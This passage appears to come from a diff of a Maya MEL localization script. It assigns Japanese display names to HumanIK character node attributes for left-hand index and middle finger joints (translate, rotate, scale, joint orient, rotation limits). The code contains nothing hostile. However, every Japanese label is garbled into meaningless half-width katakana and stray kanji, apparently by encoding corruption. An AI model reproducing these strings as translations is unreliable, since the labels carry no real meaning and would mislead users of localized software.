"LeftHandIndex2RotateAxisz", "ラハヨハウヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrient", "ラハヨハウヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrientx", "ラハヨハウヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrienty", "ラハヨハウヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrientz", "ラハヨハウヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimit", "ラハヨハウヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitx", "ラハヨハウヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimity", "ラハヨハウヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitz", "ラハヨハウヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimit", "ラハヨハウヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitx", "ラハヨハウヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimity", "ラハヨハウヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitz", "ラハヨハウヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitEnablex", "ニモテラハヨハウヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitEnabley", "ニモテラハヨハウヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitEnablez", "ニモテラハヨハウヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitEnablex", "ニモテラハヨハウヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitEnabley", "ニモテラハヨハウヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitEnablez", "ニモテラハヨハウヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3", "ラハヨハウヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3T", "ラハヨハウヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Tx", "ラハヨハウヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Ty", "ラハヨハウヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Tz", "ラハヨハウヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3R", "ラハヨハウヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Rx", "ラハヨハウヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Ry", "ラハヨハウヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Rz", "ラハヨハウヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3S", "ラハヨハウヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Sx", "ラハヨハウヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Sy", "ラハヨハウヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Sz", "ラハヨハウヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", "ラハヨハウヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxis", "ラハヨハウヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxisx", "ラハヨハウヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxisy", "ラハヨハウヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxisz", "ラハヨハウヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrient", "ラハヨハウヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrientx", "ラハヨハウヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrienty", "ラハヨハウヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrientz", "ラハヨハウヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimit", "ラハヨハウヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitx", "ラハヨハウヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimity", "ラハヨハウヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitz", "ラハヨハウヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimit", "ラハヨハウヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitx", "ラハヨハウヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimity", "ラハヨハウヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitz", "ラハヨハウヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitEnablex", "ニモテラハヨハウヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitEnabley", "ニモテラハヨハウヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitEnablez", "ニモテラハヨハウヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitEnablex", "ニモテラハヨハウヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitEnabley", "ニモテラハヨハウヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitEnablez", "ニモテラハヨハウヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4", "ラハヨハウヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4T", "ラハヨハウヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Tx", "ラハヨハウヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Ty", "ラハヨハウヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Tz", "ラハヨハウヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4R", "ラハヨハウヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Rx", "ラハヨハウヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Ry", "ラハヨハウヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Rz", "ラハヨハウヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4S", "ラハヨハウヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Sx", "ラハヨハウヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Sy", "ラハヨハウヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Sz", "ラハヨハウヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", "ラハヨハウヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxis", "ラハヨハウヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxisx", "ラハヨハウヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxisy", "ラハヨハウヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxisz", "ラハヨハウヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrient", "ラハヨハウヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrientx", "ラハヨハウヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrienty", "ラハヨハウヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrientz", "ラハヨハウヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimit", "ラハヨハウヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitx", "ラハヨハウヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimity", "ラハヨハウヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitz", "ラハヨハウヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimit", "ラハヨハウヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitx", "ラハヨハウヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimity", "ラハヨハウヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitz", "ラハヨハウヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitEnablex", "ニモテラハヨハウヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitEnabley", "ニモテラハヨハウヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitEnablez", "ニモテラハヨハウヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitEnablex", "ニモテラハヨハウヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitEnabley", "ニモテラハヨハウヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitEnablez", "ニモテラハヨハウヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1", "ラハヨヨミヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1T", "ラハヨヨミヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Tx", "ラハヨヨミヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Ty", "ラハヨヨミヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Tz", "ラハヨヨミヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1R", "ラハヨヨミヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Rx", "ラハヨヨミヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Ry", "ラハヨヨミヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Rz", "ラハヨヨミヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1S", "ラハヨヨミヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Sx", "ラハヨヨミヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Sy", "ラハヨヨミヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Sz", "ラハヨヨミヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", "ラハヨヨミヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxis", "ラハヨヨミヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxisx", "ラハヨヨミヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxisy", "ラハヨヨミヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxisz", "ラハヨヨミヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrient", "ラハヨヨミヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrientx", "ラハヨヨミヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrienty", "ラハヨヨミヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrientz", "ラハヨヨミヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimit", "ラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitx", "ラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimity", "ラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitz", "ラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimit", "ラハヨヨミヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitx", "ラハヨヨミヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimity", "ラハヨヨミヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitz", "ラハヨヨミヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitEnablex", "ニモテラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitEnabley", "ニモテラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitEnablez", "ニモテラハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitEnablex", "ニモテラハヨヨミヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitEnabley", "ニモテラハヨヨミヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitEnablez", "ニモテラハヨヨミヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2", "ラハヨヨミヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2T", "ラハヨヨミヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Tx", "ラハヨヨミヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Ty", "ラハヨヨミヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Tz", "ラハヨヨミヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2R", "ラハヨヨミヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Rx", "ラハヨヨミヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Ry", "ラハヨヨミヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Rz", "ラハヨヨミヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2S", "ラハヨヨミヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Sx", "ラハヨヨミヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Sy", "ラハヨヨミヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Sz", "ラハヨヨミヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", "ラハヨヨミヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxis", "ラハヨヨミヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxisx", "ラハヨヨミヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxisy", "ラハヨヨミヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxisz", "ラハヨヨミヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrient", "ラハヨヨミヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrientx", "ラハヨヨミヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrienty", "ラハヨヨミヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrientz", "ラハヨヨミヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimit", "ラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitx", "ラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimity", "ラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitz", "ラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimit", "ラハヨヨミヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitx", "ラハヨヨミヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimity", "ラハヨヨミヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitz", "ラハヨヨミヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitEnablex", "ニモテラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitEnabley", "ニモテラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitEnablez", "ニモテラハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitEnablex", "ニモテラハヨヨミヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitEnabley", "ニモテラハヨヨミヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitEnablez", "ニモテラハヨヨミヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3", "ラハヨヨミヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3T", "ラハヨヨミヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Tx", "ラハヨヨミヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Ty", "ラハヨヨミヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Tz", "ラハヨヨミヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3R", "ラハヨヨミヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Rx", "ラハヨヨミヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Ry", "ラハヨヨミヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Rz", "ラハヨヨミヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3S", "ラハヨヨミヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Sx", "ラハヨヨミヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Sy", "ラハヨヨミヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Sz", "ラハヨヨミヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", "ラハヨヨミヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxis", "ラハヨヨミヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxisx", "ラハヨヨミヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxisy", "ラハヨヨミヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxisz", "ラハヨヨミヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrient", "ラハヨヨミヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrientx", "ラハヨヨミヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrienty", "ラハヨヨミヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrientz", "ラハヨヨミヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimit", "ラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitx", "ラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimity", "ラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitz", "ラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimit", "ラハヨヨミヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitx", "ラハヨヨミヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimity", "ラハヨヨミヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitz", "ラハヨヨミヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitEnablex", "ニモテラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitEnabley", "ニモテラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitEnablez", "ニモテラハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitEnablex", "ニモテラハヨヨミヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitEnabley", "ニモテラハヨヨミヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitEnablez", "ニモテラハヨヨミヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4", "ラハヨヨミヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4T", "ラハヨヨミヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Tx", "ラハヨヨミヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Ty", "ラハヨヨミヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Tz", "ラハヨヨミヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4R", "ラハヨヨミヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Rx", "ラハヨヨミヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Ry", "ラハヨヨミヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Rz", "ラハヨヨミヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4S", "ラハヨヨミヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Sx", "ラハヨヨミヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Sy", "ラハヨヨミヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Sz", "ラハヨヨミヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", "ラハヨヨミヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxis", "ラハヨヨミヨク 4 ミラェヨ" ); +setAttrNiceNameResource( 